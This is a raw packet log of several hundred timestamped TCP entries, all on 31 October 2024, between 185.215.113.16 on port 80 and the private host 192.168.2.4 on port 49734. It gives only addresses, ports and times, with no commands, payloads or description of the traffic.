Oct 31, 2024 20:52:10.115432978 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115438938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115448952 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.115478992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.115550041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115557909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115571022 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115603924 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.115622044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115628958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115638971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115674019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.115956068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116012096 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116039991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116045952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116092920 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116269112 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116317034 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116317987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116328001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116377115 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116405964 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116415024 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116426945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116432905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116455078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116462946 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116463900 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116473913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116480112 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116481066 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116507053 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116528988 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116533995 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116591930 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116617918 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116626024 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116631985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116637945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116648912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116655111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116657972 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116657972 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116661072 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116666079 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116691113 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116714954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.116734982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116741896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116751909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.116780043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117086887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117117882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117165089 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117196083 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117240906 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117244959 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117247105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117290020 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117310047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117315054 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117336035 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117341042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117364883 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117374897 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117434978 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117441893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117448092 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117454052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117480993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117481947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117507935 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117522001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117528915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117528915 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117568970 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117582083 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117589951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117635012 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117660999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117667913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117679119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117718935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117726088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117733955 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.117737055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.117784977 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.119769096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.119821072 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.119827986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.119836092 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.119842052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.119864941 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.119878054 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.119891882 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.119919062 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.119940996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.119949102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.119987965 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.119990110 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120001078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120007038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120018959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120024920 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120052099 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120115995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120127916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120135069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120165110 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120255947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120263100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120269060 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120275021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120281935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120287895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120295048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120302916 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120305061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120325089 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120359898 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120378971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120385885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120393038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120421886 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120505095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120512009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120523930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120537043 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120543003 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120554924 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120560884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120563030 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120599985 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120611906 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.120939970 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120945930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.120990992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.282455921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.282466888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.282486916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.282493114 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.282505035 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.282557011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.282563925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.282574892 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.282628059 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.282689095 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.283015013 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.283041954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.283046961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.283062935 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.283092976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.283612967 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.283648014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.283655882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.283670902 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.283698082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.283706903 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.283715963 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.283757925 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.283900023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.283947945 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.283957005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284009933 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.284019947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284024954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284065962 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.284414053 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284431934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284440041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284467936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.284493923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.284759045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284765005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284776926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284825087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284828901 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.284833908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284840107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.284878969 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.285468102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.285476923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.285484076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.285526037 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.285531998 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.285531998 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.285538912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.285567999 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.285583973 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.286143064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286151886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286181927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286187887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286194086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286207914 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.286240101 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.286890984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286900043 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286911011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286931038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286936045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286941051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.286962986 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.287004948 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.287297010 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.287339926 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.287359953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.287383080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.287396908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.287403107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.287427902 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.287468910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.287904024 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.287951946 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.287965059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.287972927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.288006067 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.288012981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.288019896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.288054943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.288651943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.288660049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.288671970 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.288677931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.288712025 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.288727999 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.288738966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.288743973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.288790941 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.289266109 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289314985 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.289365053 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289372921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289383888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289391041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289421082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.289444923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.289792061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289807081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289819002 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289825916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289839029 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.289839029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289844036 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.289875031 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.289896965 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.290430069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.290435076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.290486097 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.290544033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.290556908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.290564060 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.290570021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.290595055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.290617943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.291302919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291362047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291371107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291373968 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.291400909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291409016 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.291409969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291438103 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.291475058 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.291735888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291806936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.291814089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291821957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291834116 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291840076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291845083 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.291878939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.291908026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.292288065 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.292335987 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.292340994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.292356014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.292370081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.292380095 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.292382002 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.292419910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.292444944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.292982101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.293061972 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.293107986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.293122053 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.293133020 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.293138981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.293171883 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.293191910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.293382883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.293389082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.293433905 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.326872110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.326891899 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.326942921 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.327259064 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.449306965 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449331045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449342966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449350119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449361086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449368000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449385881 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449404001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449501038 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.449542046 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.449649096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449687958 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.449779987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449786901 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449809074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449815989 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449831963 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.449835062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449842930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449860096 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.449872971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449882984 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.449888945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449897051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449901104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.449915886 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.449940920 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.450089931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450098038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450118065 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450124979 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450130939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450136900 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450148106 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.450177908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450184107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450189114 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.450189114 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.450223923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.450300932 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450308084 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450347900 CET	49734	80	192.168.2.4	185.215.113.16
